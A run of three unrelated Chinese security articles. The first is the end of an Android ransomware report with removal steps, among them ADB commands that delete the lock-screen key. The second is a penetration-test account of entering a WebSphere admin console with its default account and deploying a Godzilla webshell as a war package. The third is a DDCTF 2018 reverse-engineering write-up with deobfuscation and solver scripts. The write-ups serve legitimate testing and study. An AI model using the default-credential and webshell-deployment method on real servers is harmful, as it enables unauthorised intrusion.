一旦用户不幸中招,建议用户不要支付给敲诈者任何费用,避免助涨敲诈者的嚣张气焰。用户可以向专业的安全人员或者厂商寻求解决方法。
第六章Android平台勒索软件清除方案
一、手机重启
手机重启后快速对勒索软件进行卸载删除是一种简单便捷的清除方法,但这种方法取决于手机运行环境和勒索软件的实现方法,仅可以对少部分勒索软件起作用。
二、360手机急救箱
360手机急救箱独有三大功能:“安装拦截”、“超强防护”、“摇一摇杀毒”,可以有效的查杀勒索软件。
安装拦截功能,可以让勒索软件无法进入用户手机;
超强防护功能,能够清除勒索软件未经用户允许设置的锁屏PIN码,还能自动卸载木马;
摇一摇杀毒可以在用户中了勒索软件,无法操作手机的情况下,直接杀掉木马,有效保护用户安全。
三、安全模式
安全模式也是一种有效的清除方案,不同的机型进入安全模式的方法可能不同,建议用户查找相应机型进入安全模式的具体操作方法。
我们以Nexus 5为例介绍如何进入安全模式清除勒索软件,供用户参考。步骤如下:
步骤一:当手机被锁后长按手机电源键强制关机,然后重启手机。
步骤二:当出现Google标志时,长按音量“-”键直至进入安全模式。
步骤三:进入“设置”页面,找到并点击“应用”。
步骤四:找到对应的恶意应用,点击卸载,重启手机,清除成功。
四、ADB命令
对有一定技术基础的用户,在手机有Root权限并且已经开启USB调试(设置->开发者选项->USB调试)的情况下,可以将手机连接到电脑上,通过ADB命令清除勒索软件。
针对设置PIN码类型的勒索软件,需要在命令行下执行以下命令:
> adb shell
> su
> rm /data/system/password.key
针对其他类型的勒索软件,同样需要在命令行下执行rm命令,删除勒索软件安装的路径。
五、刷机
如以上方法都无法解决,用户参考手机厂商的刷机指导或者到手机售后服务,在专业指导下进行刷机操作。
附录一:参考资料
[1] Mobile security:https://en.wikipedia.org/wiki/Mobile_security#Ransomware
[2] FakeAV holds Android Phones for Ransom:
http://www.symantec.com/connect/blogs/fakeav-holds-android-phones-ransom
[3] Police Locker land on Android Devices:
http://malware.dontneedcoffee.com/2014/05/police-locker-available-for-your.html
[4] ESET Analyzes Simplocker – First Android File-Encrypting, TOR-enabled
Ransomware: http://www.welivesecurity.com/2014/06/04/simplocker/
[5] TkLocker分析报告:
http://blogs.360.cn/360mobile/2014/06/18/analysis_of_tklocker/
[6] 病毒播报之流氓勒索:
http://blog.avlyun.com/2014/07/1295/%E7%97%85%E6%AF%92%E6%92%AD%E6%8A%A5%E4%B9%8B%E6%B5%81%E6%B0%93%E5%8B%92%E7%B4%A2/
[7] Vandal Trojan for Android wipes memory cards and blocks communication:
http://news.drweb.com/show/?i=5978&c=9&lng=en&p=0
[8] 手机锁屏勒索国内首现身:
http://blogs.360.cn/360mobile/2015/05/19/analysis_of_ransomware/
[9] Aggressive Android ransomware spreading in the USA:
http://www.welivesecurity.com/2015/09/10/aggressive-android-ransomware-spreading-in-the-usa/ | 社区文章 |
# 起因
* 此次接到的项目是对某客户端进行安全测试。之前的工作内容除了偶尔测测 App 之外，大部分的测试目标还是以 B/S 架构的 Web 为主，这是第一次对 C/S 架构的客户端进行测试，所以也是两眼一抹黑，只能先按照测 Web 的常规思路来了。
# 常规思路
## 抓包
* 首先查看目标客户端是否存在代理配置功能（大多数没有）
* 可以看到只有个简单的登录功能，并无代理配置功能
### Proxifier + BurpSuite
* 查看 BurpSuite 中配置的代理地址及端口
* 在 Proxifier 中添加代理服务器（ip、port 为 BurpSuite 中配置的代理地址及端口）
* 配置好后，进行检查，测试与 BurpSuite 的连通性（BurpSuite 中有流量即为成功连通）
* 在 Proxifier 中添加代理规则
* BurpSuite 成功拦截到客户端的登录请求
## 数据包分析
* 成功拦截到数据包之后，便打算对其进行分析，结果一看就绝望了，请求包跟响应包均被加密
### 尝试 Web 访问
* 之前测 App 时遇到过手机端流量被加密但 PC 端未加密的情况，遂复制请求链接尝试 Web 访问，并未获取到有效信息
* 由于该客户端内相关功能的请求参数均以 POST 方式传输，流量均被加密，所以暂时放弃，转变思路打算从服务器入手
# 柳暗花明
## WebSphere
* 对目标服务器进行端口扫描，发现开放的端口还挺多，9043、9060分别为 WebSphere 默认的管理控制台安全端口、管理控制台端口
* 默认登录地址为 /ibm/console，此处用默认的用户标识 admin 成功登录
### 一波三折
#### 更换 jsp 文件内容
* 按理说成功进入 WebSphere 管理控制台，拿到 shell 只是顺理成章的事情，但是事情远没有我想象中的那么容易，首先使用之前打好的 war 包进行上传
* 选择 war 包，填好上下文之后报错
> 关于这个报错，我上网搜索了好久最终汇总了几种原因以及解决方案，分别是重启 WebSphere、war 包中包含的文件内容格式有误、打 war 包时所用的
> jdk 与目标 WebSphere 的 jdk 版本不一致、修改一些 WebSphere 的配置文件。
* 将 war 包中的 jsp 文件内容修改为打印字符串（无害内容），重新打包后上传，依旧报错
#### 更换 jdk 版本
* 从前面抓取到的数据包中可知目标使用的 jdk 版本为 1.5.0_21，遂下载对应版本的 jdk 使用 jar 命令对无害 jsp 文件打 war 包后上传，依旧报错
#### Myeclipse 构造 war 文件
>
> 通过此前的多次尝试均未解决这个报错，于是卡在这个步骤上好久，最后通过查阅[资料](https://xz.aliyun.com/t/280#toc-26)得知，WebSphere
> 6.x 版本默认支持的 Web 应用是2.3（web.xml 配置的 web-app_2_3.dtd），所以选择使用 Myeclipse 来生成 war
> 文件
* Myeclipse 新建 web 项目
* 将 jsp 文件放至 WebRoot 目录下
* 导出项目为 war 文件
* 生成的 war 文件目录结构如下
* 选择生成的 war 文件并填写上下文进行上传
* 步骤 1-4 无需操作，点击下一步
* 步骤 5 点击完成后，记得选择保存到主配置
* 安装完成后应用程序状态为已停止，点击启动即可成功启动
# 坑点
> jsp 文件需使用 Godzilla 生成的 webshell，刚开始使用 Behinder
> v3.11生成的马，虽然可以上传成功，但是会提示页面存在，无法获取密钥，猜测可能与目标 jdk 版本过低有关，具体原因不明。 | 社区文章 |
# DDCTF 2018 writeup(二) 逆向篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
### 传送门： [_DDCTF_ 2018 writeup(一)
WEB篇](https://www.anquanke.com/post/id/144879)
## 一. 奈沙夜影与DDCTF
夜影是江苏科技大学大二的一名学生，也是本次比赛的第一名（Excellent！）~对于DDCTF2018他这样评价：
看到群里安姐说平台开放一年的消息，真的佩服！
Σ(ﾟДﾟ|||)━投入这种平台的公司貌似滴滴是头一家？能长期学习交流这样高质量的题目真的是幸事，感谢滴滴安全~(≧ω≦)/
re里的黑盒破解，初看起来觉得很复杂 然后一步一步逆下去抽丝剥茧最终完全理解整个程序的时候 非常巨大的成就感，这题很纯粹很硬核，我对它的印象最深~
总体而言，re系的题目都是考点很明确。以前懒得碰，这次在DD的指bi引po下去详细了解了一波ECC,比特币算法和b58等。
就从各种密码学和新颖的题型上学到了很多知识和技巧，这七天非常充实~ 基本就是醒了就做题，然后一边想着题怎么解一边睡着2333 很令人满足的比赛！
更多CTFer眼中的DDCTF请戳链接：
[https://www.zhihu.com/question/273538879](https://www.zhihu.com/question/273538879)
## 二. 逆向 writeup
### **0x01** **Baby MIPS**
IDA打开发现几个字符串结构都很清晰，提供16个变量，然后进行16次方程校验，但是运行会发现在中间就因为段错误而异常，尝试许久以后发现几个不太对劲的指令，突兀出现的t,
sp, 跳转等等的机器码都为EB02开头，猜测为花指令，于是使用IDC脚本去花。
注意MIPS为定长指令集，每个指令都为4字节，因此需要固定监测指令的头部，否则可能会误清除掉正常指令，例如方程参数的赋值
(╯‵□′)╯︵┻━┻
#include <idc.idc>
static matchBytes(StartAddr, Match)
{
auto Len, i, PatSub, SrcSub;
Len = strlen(Match);
while (i < Len)
{
PatSub = substr(Match, i, i+1);
SrcSub = form("%02X", Byte(StartAddr));
SrcSub = substr(SrcSub, i % 2, (i % 2) + 1);
if (PatSub != "?" && PatSub != SrcSub)
{
return 0;
}
if (i % 2 == 1)
{
StartAddr++;
}
i++;
}
return 1;
}
static main()
{
auto StartVa, SavedStartVa, StopVa, Size, i, j;
StartVa = 0x400420;
StopVa = 0x403233;
Size = StopVa - StartVa;
SavedStartVa = StartVa;
for (i = 0; i < Size/4; i++)
{
if (matchBytes(StartVa, "EB02????"))
{
Message("Find%x:%02x%02x%02x%02xn", StartVa,Byte(StartVa),Byte(StartVa+1),Byte(StartVa+2),Byte(StartVa+3));
for (j = 0; j < 4; j++)
{
PatchByte(StartVa, 0x00);
MakeCode(StartVa);
StartVa++;
}
}
else
StartVa=StartVa+4;
}
AnalyzeArea(SavedStartVa, StopVa);
Message("Clear eb02 Opcode Ok ");
}
去花后再次分析即可得到清晰的赋值和check过程
有三种求解方法
**简单粗暴反汇编**
写了一个伪执行汇编的py脚本来得到参数，最后清洗一下即可得到方程，通过z3限制BitVec即可跑出整数解
f = open("code.txt", "r")
flower = ["slti", "sdc1"]
a0 = 0x76ff270
v0 = 0xd0000
v1 = 8
fp = [0 for i in range(0x500)]
table = [0x0, 0x42d1f0, 0x0, 0x42d1f0,
0xa, 0xa, 0x0, 0x9,
0x4250bc, 0x9, 0x426630, 0x42d1f0,
0x40a3ec, 0x37343431, 0x363434, 0x0,
0x0, 0x42d1f0, 0x0, 0x4250bc,
0x0, 0x0, 0x425060, 0x42d1f0,
0x403ad0, 0x0, 0x0, 0x1000,
0x425088, 0x76fff184, 0x412fcd, 0x1,
0x410570, 0x425190, 0x40ca48, 0x0,
0x0, 0x42d1f0, 0x0, 0x42d1f0,
0x425088, 0xffffffff, 0x4106c4, 0xffffffff,
0x76fff184, 0x412fcd, 0x1, 0x42d1f0,
0x0, 0x425088, 0x40ccac, 0x0,
0x0, 0x0, 0x0, 0x42d1f0,
0x0, 0x425190, 0x76ffeef8, 0x425190,
0x10, 0x425088, 0x40baac, 0x42d1f0,
0x412fcd, 0x1, 0x425088, 0x40baac,
0x76fff184, 0x412fce, 0x40b684, 0x0,
0x0, 0x0, 0x0, 0x42d1f0,
0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
0x0, 0x42d1f0, 0x0, 0x42d1f0,
0x0, 0x4250bc, 0x413081, 0x9,
0x403f24, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x42d1f0,
0x0, 0x413078, 0x0, 0x0,
0x0, 0x0, 0xd0000, 0xf1f4,
0xcf8, 0xf5f1, 0x7883, 0xe2c6,
0x67, 0xeccc, 0xc630, 0xba2e,
0x6e41, 0x641d, 0x716d, 0x4505,
0x76fff224, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0xfffffffe, 0x0,
0x76fff2ac, 0x412fcd, 0x1, 0x0,
0x6, 0x7fffffff, 0x1, 0x0,
0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
0xa, 0xa, 0x425088, 0x8,
0x7ffffff8, 0x100, 0x413f38, 0x1,
0x413f38, 0x0, 0x2, 0x76fff0f8,
0x0, 0x0, 0x7fffffff, 0x76fff220,
0x405050, 0x550001, 0x0, 0x425000,
0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x76fff220,
0x404d84, 0x42d1f0, 0x0, 0x500,
0x5, 0x42d1f0, 0xb3b, 0x76fff224,
0x115, 0x1a131100, 0x76fff220, 0x76fff270,
0x76fff2ac, 0xffbecf88, 0xa, 0x405880]
j = 0
functions = 0
for i in range(0xb4, 0x410, 4):
fp[i] = table[j]
j += 1
input = [int(str(i)*3, 16) for i in range(16)]
try:
while(True):
code = f.readline()
if(code == ""):
print("finish")
break
if(code[:3] == "loc"):
# print("n[s]:t" + code[:-1])
continue
if(code.find("nop")!=-1):
continue
code = code.split("$")
# print(code)
c = code[0].strip()
if(c=="sw"):
n1 = code[1].split(",")[0]
n2 = 0x410 - int("0x" + code[1].split("_")[1].split("(")[0], 16)
code = ("fp[" + hex(n2) + "] = " + n1)
elif(c=="li"):
n1 = code[1].split(",")[0]
n2 = code[1].split(",")[1].strip()
code = (n1 + " = " + n2)
elif(c=="lw"):
n1 = code[1].split(",")[0]
if("".join(code).find("fp")!=-1):
n2 = 0x410 - int("0x" + code[1].split("_")[1].split("(")[0], 16)
code = (n1 + " = fp[" + hex(n2) + "]")
# print("# " + hex(fp[n2]))
#输出方程
print("0x%x*"%fp[n2],end='')
else:
# print("[c]:t" + "".join(code)[:-1], "v0=%x"%v0)
n2 = ((v0) + int(code[1].split(",")[1].replace("(", "")))//4
code = (n1 + " = input[" + str(n2) + "]")
print("a[%d]"%n2)
# print(code)
# print(hex(v0))
# break
elif(c=="sll"):
n1 = code[1].split(",")[0]
n2 = code[1].split(",")[1].strip()
code = (n1 + " = " + n1 + "<<" + n2)
elif(c=="sra"):
n1 = code[1].split(",")[0]
n2 = code[1].split(",")[1].strip()
code = (n1 + " = " + n1 + ">>" + n2)
elif(c=="xori"):
n1 = code[1].split(",")[0]
n2 = code[1].split(",")[1].strip()
code = (n1 + " = " + n1 + "^" + n2)
elif(c=="addiu"):
n1 = code[1].split(",")[0]
n2 = code[1].split(",")[1].strip()
code = (n1 + " = " + n1 + "+" + n2)
# print("+")
elif(c=="mul"):
n1 = code[1].split(",")[0]
n2 = code[2].split(",")[0].strip()
n3 = code[3].strip()
code = (n1 + " = " + n2 + "*" + n3)
elif(c=="addu"):
n1 = code[1].split(",")[0]
n2 = code[2].split(",")[0].strip()
code = (n1 + " = " + n1 + "+" + n2)
print("+")
elif(c=="subu"):
n1 = code[1].split(",")[0]
n2 = code[2].split(",")[0].strip()
code = (n1 + " = " + n1 + "-" + n2)
print("-")
elif(c=="beq"):
print("=0x%x"%(v0))
print("================================================one function=====================================")
functions +=1
continue
elif(c=="negu"):
n1 = code[1].split(",")[0]
n2 = code[2].split(",")[0].strip()
code = (n1 + " = " + "-" + n2)
print("-")
elif(c=="nop"):
continue
elif(c=="lui"):
n1 = code[1].split(",")[0]
n2 = code[1].split(",")[1].strip()
code = (n1 + " = " + n2 + "<<32")
elif(c=="move" or c=="and"):
continue
elif(c in flower):
# print("[f]:t" + "".join(code)[:-1])
continue
else:
print("[x]:tFind unknown code | " + "".join(code))
break
# print("[-]:t" + code)
exec(code)
except Exception as e:
print(repr(e))
print(code)
print(functions)
# print(fp)
**优雅反编译**
在某zhao师傅的提醒下想起来jeb的MIPS版本可以对汇编进行简单的反编译：
虽然数组全部是通过指针+偏移的方式来调用，不过可以全部复制下来再用正则来整理数据，将*(par00+x)替换为par00[x/4]的形式（可不要像某zhao师傅一样将参数一个个抄下来哟（不然就会像他一样把参数不慎抄错几个然后纠结若干小时XDDDDDD
上述两种方法得到方程以后就可以通过z3, numpy, matlab一类的数学工具求解方程组了，下面给出z3py的示例代码
from z3 import *
a = [BitVec("a%d"%i, 32) for i in range(16)]
s = Solver()
s.add(0xca6a*a[0] -0xd9ee*a[1] +0xc5a7*a[2] +0x19ee*a[3] +0xb223*a[4] +0x42e4*a[5] +0xc112*a[6] -0xcf45*a[7] +0x260d*a[8] +0xd78d*a[9] +0x99cb*a[10] -0x3e58*a[11] -0x97cb*a[12] +0xfba9*a[13] -0xdc28*a[14] +0x859b*a[15] == 0xaa2ed7)
s.add(0xf47d*a[0] +0x12d3*a[1] -0x4102*a[2] +0xcedf*a[3] -0xafcf*a[4] -0xeb20*a[5] -0x2065*a[6] +0x36d2*a[7] -0x30fc*a[8] -0x7e5c*a[9] +0xeea8*a[10] +0xd8dd*a[11] -0xae2*a[12] +0xc053*a[13] +0x5158*a[14] -0x8d42*a[15] == 0x69d32e)
s.add(0xffff52cf*a[0] -0x4fea*a[1] +0x2075*a[2] +0x9941*a[3] -0xbd78*a[4] +0x9e58*a[5] +0x40ad*a[6] -0x8637*a[7] -0x2e08*a[8] +0x4414*a[9] +0x2748*a[10] +0x1773*a[11] +0xe414*a[12] -0x7b19*a[13] +0x6b71*a[14] -0x3dcf*a[15] == 0x3b89d9)
s.add(0xffffedd7*a[0] -0x1df0*a[1] +0x8115*a[2] +0x54bd*a[3] -0xf2ba*a[4] +0xdbd*a[5] +0x1dcf*a[6] +0x272*a[7] -0x2fcc*a[8] -0x93d8*a[9] -0x6f6c*a[10] -0x98ff*a[11] +0x2148*a[12] -0x6be2*a[13] +0x2e56*a[14] -0x7bdf*a[15] == 0xff6a5aea)
s.add(0xffffa8c1*a[0] +0xdc78*a[1] -0x380f*a[2] +0x33c0*a[3] -0x7252*a[4] -0xe5a9*a[5] +0x7a53*a[6] -0x4082*a[7] -0x584a*a[8] +0xc8db*a[9] +0xd941*a[10] +0x6806*a[11] -0x8b97*a[12] +0x23d4*a[13] +0xac2a*a[14] +0x20ad*a[15] == 0x953584)
s.add(0x5bb7*a[0] -0xfdb2*a[1] +0xaaa5*a[2] -0x50a2*a[3] -0xa318*a[4] +0xbcba*a[5] -0x5e5a*a[6] +0xf650*a[7] +0x4ab6*a[8] -0x7e3a*a[9] -0x660c*a[10] +0xaed9*a[11] -0xa60f*a[12] +0xf924*a[13] -0xff1d*a[14] +0xc888*a[15] == 0xffd31341)
s.add(0x812d*a[0] -0x402c*a[1] +0xaa99*a[2] -0x33b*a[3] +0x311b*a[4] -0xc0d1*a[5] -0xfad*a[6] -0xc1bf*a[7] -0x1560*a[8] -0x445b*a[9] -0x9b78*a[10] +0x3b94*a[11] +0x2531*a[12] -0xfb03*a[13] +0x8*a[14] +0x8721*a[15] == 0xff9a6b57)
s.add(0x15c5*a[0] +0xb128*a[1] -0x957d*a[2] +0xdf80*a[3] +0xee68*a[4] -0x3483*a[5] -0x4b39*a[6] -0x3807*a[7] -0x4f77*a[8] +0x652f*a[9] -0x686f*a[10] -0x7fc1*a[11] -0x5d2b*a[12] -0xb326*a[13] -0xacde*a[14] +0x1f11*a[15] == 0xffd6b3d3)
s.add(0xaf37*a[0] +0x709*a[1] +0x4a95*a[2] -0xa445*a[3] -0x4c32*a[4] -0x6e5c*a[5] -0x45a6*a[6] +0xb989*a[7] +0xf5b7*a[8] +0x3980*a[9] -0x151d*a[10] +0xaf13*a[11] +0xa134*a[12] +0x67ff*a[13] +0xce*a[14] +0x79cf*a[15] == 0xc6ea77)
s.add(0xffff262a*a[0] +0xdf05*a[1] -0x148e*a[2] -0x4758*a[3] -0xc6b2*a[4] -0x4f94*a[5] -0xf1f4*a[6] +0xcf8*a[7] +0xf5f1*a[8] -0x7883*a[9] -0xe2c6*a[10] -0x67*a[11] +0xeccc*a[12] -0xc630*a[13] -0xba2e*a[14] -0x6e41*a[15] == 0xff1daae5)
s.add(0xffff9be3*a[0] -0x716d*a[1] +0x4505*a[2] -0xb99d*a[3] +0x1f00*a[4] +0x72bc*a[5] -0x7ff*a[6] +0x8945*a[7] -0xcc33*a[8] -0xab8f*a[9] +0xde9e*a[10] -0x6b69*a[11] -0x6380*a[12] +0x8cee*a[13] -0x7a60*a[14] +0xbd39*a[15] == 0xff5be0b4)
s.add(0x245e*a[0] +0xf2c4*a[1] -0xeb20*a[2] -0x31d8*a[3] -0xe329*a[4] +0xa35a*a[5] +0xaacb*a[6] +0xe24d*a[7] +0xeb33*a[8] +0xcb45*a[9] -0xdf3a*a[10] +0x27a1*a[11] +0xb775*a[12] +0x713e*a[13] +0x5946*a[14] +0xac8e*a[15] == 0x144313b)
s.add(0x157*a[0] -0x5f9c*a[1] -0xf1e6*a[2] +0x550*a[3] -0x441b*a[4] +0x9648*a[5] +0x8a8f*a[6] +0x7d23*a[7] -0xe1b2*a[8] -0x5a46*a[9] -0x5461*a[10] +0xee5f*a[11] -0x47e6*a[12] +0xa1bf*a[13] +0x6cf0*a[14] -0x746b*a[15] == 0xffd18bd2)
s.add(0xf81b*a[0] -0x76cb*a[1] +0x543d*a[2] -0x4a85*a[3] +0x1468*a[4] +0xd95a*a[5] +0xfbb1*a[6] +0x6275*a[7] +0x30c4*a[8] -0x9595*a[9] -0xdbff*a[10] +0x1d1d*a[11] +0xb1cf*a[12] -0xa261*a[13] +0xf38e*a[14] +0x895c*a[15] == 0xb5cb52)
s.add(0xffff6b97*a[0] +0xd61d*a[1] +0xe843*a[2] -0x8c64*a[3] +0xda06*a[4] +0xc5ad*a[5] +0xd02a*a[6] -0x2168*a[7] +0xa89*a[8] +0x2dd*a[9] -0x80cc*a[10] -0x9340*a[11] -0x3f07*a[12] +0x4f74*a[13] +0xb834*a[14] +0x1819*a[15] == 0xa6014d)
s.add(0x48ed*a[0] +0x2141*a[1] +0x33ff*a[2] +0x85a9*a[3] -0x1c88*a[4] +0xa7e6*a[5] -0xde06*a[6] +0xbaf6*a[7] +0xc30f*a[8] -0xada6*a[9] -0xa114*a[10] -0x86e9*a[11] +0x70f9*a[12] +0x7580*a[13] -0x51f8*a[14] -0x492f*a[15] == 0x2fde7c)
if(s.check()==sat):
c = b''
m = s.model()
for i in range(16):
print("a[%d]=%d"%(i, m[a[i]].as_long()))
for i in range(16):
print(chr(m[a[i]].as_long()&0xff), end='')
**符号执行**
无名侠师傅提出了使用angr来全自动求解的方法，注意二进制文件也需要去过花。我这边不知道是因为capstone没有mips反编译的版本还是地址扒错了跑不出来，只好直接附上师傅的脚本。
注意其中find和avoid的值由于各人的bin文件不同，因此地址需要自行修正。
from angr import *
import logging
import IPython
logging.getLogger('angr.manager').setLevel(logging.DEBUG)
p = Project('mips2')
state = p.factory.blank_state(addr=0x400420)
DATA_ADDR = 0xA0000
state.regs.a0 = DATA_ADDR
for i in range(16*4):
vec = state.solver.BVS("c{}".format(i),8,explicit_name=True)
cond = state.solver.And(vec>=32,vec<=126) # low byte
state.memory.store(DATA_ADDR+i,vec)
if i % 4 == 0:
pass
#state.add_constraints(cond)
sm = p.factory.simulation_manager(state)
res = sm.explore(find=0x403150,avoid=[0x403644,0x401940,0x0401ADC,0x401C74
,0x401E10 ,0x401FA8,0x402144
,0x4022DC,0x402478,0x402610,0x4027A8,0x402940,0x402AD8,0x402C74,0x402E10,0x
402FA8,0x403144])
# 这些地址不同⼈的bin会不⼀样。
found = res.found[0]
mem = found.memory.load(DATA_ADDR,16*4)
print found.solver.eval(mem)
********
### ****0x0** **2 **黑盒破解******
这个题目比较硬核，输入的地方通过比较字符串来选择函数。首先通过构造函数找到整个数据结构的定义
偏移 | 值 | 类型 | 长度 | 备注 |
---|---|---|---|---|---
a1 | sth_p | q | 0x100 | |
a1+8 | char_table_0_p | q | 0x100 | 0x6030e0 |
a1+16 | input | c | 100 | |
a1+272 | rand%50 | | | |
a1+280 | char_table_0_p-sth_p | q | | |
a1+288+8 | char_table_2 | d | 8 | (a1+8)[72+l] 6030e0[l+255] |
a1+408 | char_table_1 | b | 255 | 0x603700 |
a1+672 | func_addr | q | 255 | (a1+8)[84+i] 603200+i(+=) |
a1+672+8 | func_table | q | 8 | (a1+8)[84+6030e0[l+255]] |
输入函数形式为：
for i in range(len(input)):
*(a1+664) = input[i+1]
for j in range(8):
if(f[input[i]] == (a1 + 408)[(a1+8)[72+j]]):
call (a1+8)[84 + (a1+8)[j+72]] ( a1 )
可以看到，实际上就是令Input[i]作为下标取数组f的值，然后遍历char_table_1中的8个值，如有相等的则取func_addr中对应的函数来调用。
一共8个函数，根据提示语可以定位到其中的一个函数，查看交叉引用则能找到另外8个函数的函数表：
逐个反编译发现：
函数名 | 执行条件 | 表达式 | 功能
---|---|---|---
func_0 | (a1+288)<(a1+292) | (a1+665) = char_table[a1+288] | m=c[index]
func_1 | (a1+288)<(a1+292) | char_table[a1+288] = (a1+665) | c[index]=m
func_2 | … | (a1+665) = (a1+665) + (a1+664) – 33 | m+=[next]-33
func_3 | … | (a1+665) = (a1+665) – ((a1+664) – 33) + 1 | m-=[next]-33
func_4 | … | (a1+288)++ | index++
check_func | *(a1+664)==’s’ | s = char_table_0[(a1+288)], len=20,puts(s) |
check(s)
func_6 | … | (a1+288)– | index–
func_7 | … | 后一个参<=0x59 | char_table_0[a1+288] = input[*(a1+288) + *(a1+664) –
48] – 49
其中用到的变量一共有4个：
a1+292 = 255
a1+664 = [next]（即input[i+1])
a1+665 = m（临时变量）
a1+288 = index
在check_func中会输出s，s是从char_table_0中以index为起点取的0x20个值。如果s满足三个方程则通过校验，返回成功。
而实际上那三个方程是不需要逆的—题目中明示了只要输出“Binggo”即可得到flag。因此目标显然是在char_table_0中获得Binggo的字符串，将其dump出来输出了一下发现并字符顺序并没有合适的，甚至上述5个字母都不齐。以及一个最关键的问题，check_func中取了0x20个值赋给s，这显然不符合”Binggo”的要求，因此第七个字符必须给上”使其截断才行。
分析其余7个函数，发现0和1可以交换char_table_0中的字符的位置，2、3和7则可以修改char_table_0中字符的值，4和6则是用来移动下标的，最后check_func加’s’来结束并输出。在构造输入之前，先要找到函数对应的输入值。
逆向一下发现char_table中还被更改了值，IDA动态调试断在函数调用处调用idc脚本,即可得到对应值：
auto i, j, v14, p, q;
for(i=0;i<8;i++)
{
p = Byte(0x6030e0+255+i);
v14 = 0x400dc1;
//for ( j = 0; j <= p; ++j )
{
v14 = Dword(0x91d440+8+8*(p+0x54));
}
for(j=0;j<255;j++)
{
if(Byte(0x603900+j)==Byte(0x91d5d8+p))
{
q = j;
break;
}
//Message("Not Found : %x", Byte(0x603700+p));
}
Message("%xt%ct%xn",q , q, v14);
}
24 $ 400dc1
38 8 400e7a
43 C 400f3a
74 t 401064 *
30 0 4011c9
45 E 40133d
75 u 4012f3 *
23 # 4014b9
得到这8个输入字符即可开始构造了。
由于函数功能很多样，因此构造方法很多，在此仅表述我的构造方法：
由于输入buffer有限，因此不适合向右移动指针太多来找寻合适的字符。所以我就原地变换—毕竟将一个字符变成另一个字符满打满算也只要4个输入，移动指针可就轻而易举几十上百了。
下列计划中push表示将char_table中的值取入m，A->B表示将A通过func_2和3变换成B，->1表示指针后移1位
push P # $
P->B # t/
pop B # 8
#111(用于填充make，其实1个就够，懒得算了233)
B->i # CH
->1 # 0
pop i # 8
i->n # C&
->1 # 0
pop n # 8
->1 # 0
n->g # t(
pop g # 8
->1 # 0
pop g # 8
g->o # C)
->1 # 0
pop o # 8
->1 # 0
make x00 # #0
<-6 # uuuuuu
End # Es
其中的111是为了make
x00，在指针指向第七个字符时直接构造，提交给服务器即可获得flag。相对而言我觉得这题是所有（re和安卓）题目中质量最高和最（逆向过程中）有趣的~
### **0x03 被隐藏的真实**
这题本来单纯地以为是很简单的题，听欧佳俊师傅讲了一下出题思路才发现他的想法真的比答题人多得多……
main函数里调用了三次get_pwd()这个函数来check输入
get_pwd中接受输入，然后对count自增，调用了Bitcoin对象的一个函数来校验输入
如果熟悉C++逆向的话，一眼就能看出来这是在调用虚函数
因为v2是对象的空间，在C++的对象构造中，开头4个字节指向的是虚函数表
_v2指向的是虚函数表，_ *v2就是虚函数表的第一个函数了
（图片引自C++对象模型详解释https://www.cnblogs.com/tgycoder/p/5426628.html）
做题的时候不是很熟悉C++的模型，以及虚函数反编译的不是很明显，直接动态调试做的。初始状态这个虚函数是init，其中调用了verify，第一次直接返回输入，对应输出列表的需求，要输入0xdeadbeef的小端序表示”efbeadde”。如果纯静态逆向，会继续往下看verify函数的第二、三次校验，但事实上第二次就没有调用init了。
我在做的时候因为不熟悉虚函数，所以动态调试直接跟进函数，发现进入了sub_4046D7这个函数，其中的核心函数b58e乍看起来很复杂，但其实通过其中的24（实际上是256）、%58，和题目内的信息描述很容易想到比特币地址转换方法–base58
直接进行解密获得bytes类型即可通关（注意最后4字节是sha256的验算字节，不可提交，否则会导致flag的sha256计算错误。因为第二关仅截取19个字符送入，但跟flag有关的sha256却会把所有input全部进行运算，导致最后提示Correct实际上的flag却不对）
话是这么说，直接套来的脚本解密出来其实没看懂，还是自己查资料从加密到解密走了一趟才get到应该是hex格式。第三小关本来以为是脑洞题了，其实是误打误撞做出来的，运气是真的好OTZ
这次虚函数又回到了verify，将Input进行两次sha256然后逆序与结果比较，当时的想法是结合提示语：
查了一下发现这条地址是中本聪在开始比特币时记录的第一个块–创世块，刚开始想到的是根据创世块向区块链后端爆破，某个区块的sha将会满足要求。不过查了一下好像也没什么适合计算的，总不能自己重复一遍挖矿过程吧233
卡了许久，代码中突然发现一个关键点
长度80是个很关键的提示！
于是去找了区块链结构解析，发现区块头的长度正好是80个字节
https://webbtc.com/block/000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f.hex
在这里得到了创世块的头部信息，提交即可获得flag
事实上在经过家俊师傅的讲解后，再回头逆才发现这里的memcmp被覆盖到了sub_404A36函数
这个函数中通过异或生成了一个串，然后将输入的字符串与做过两次sha256再逆序的输入进行memcmp。这个两次sha256再逆序的操作，在之前的查资料过程中发现就是比特币的哈希方法，把异或生成的串dump出来去搜索。
IDC>auto i;for(i=0;i<80;i++){Message(“%02x”,
Byte(0x6d0a00+i));}000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f4e61
发现是创世块的哈希值，由此倒推出原输入是创世块。
比赛的时候从一个长度猜到创世块头部，不得不感叹自己的运气真的是……
最后再分析一下虚函数的覆盖，和家俊师傅挖下的种种坑
首先注意到虚函数表中的第一个函数在初始情况下是Init
逐步跟踪，发现Bitcoin在构造函数中就有玄机
这里跳转到了0x6D0F88处，过去看看
这时是直接一个leave和retn返回了
但是后面有很多不可识别的脏数据，暂且先放着不管，继续往后走
get_pwd函数中就如之前分析的一样，没什么问题
问题在于析构函数里
乍一看好像没什么问题哦，delete释放空间嘛
注意这里的(this+3)指向的就是刚才跳转的0x6D0F88
再点进delete内一看
？！
跟正常调用free的delete完全不一样，左边function列表中也竟然出现了两个同名的函数
另外一个才是调用free的原delete，这个是冒牌的！
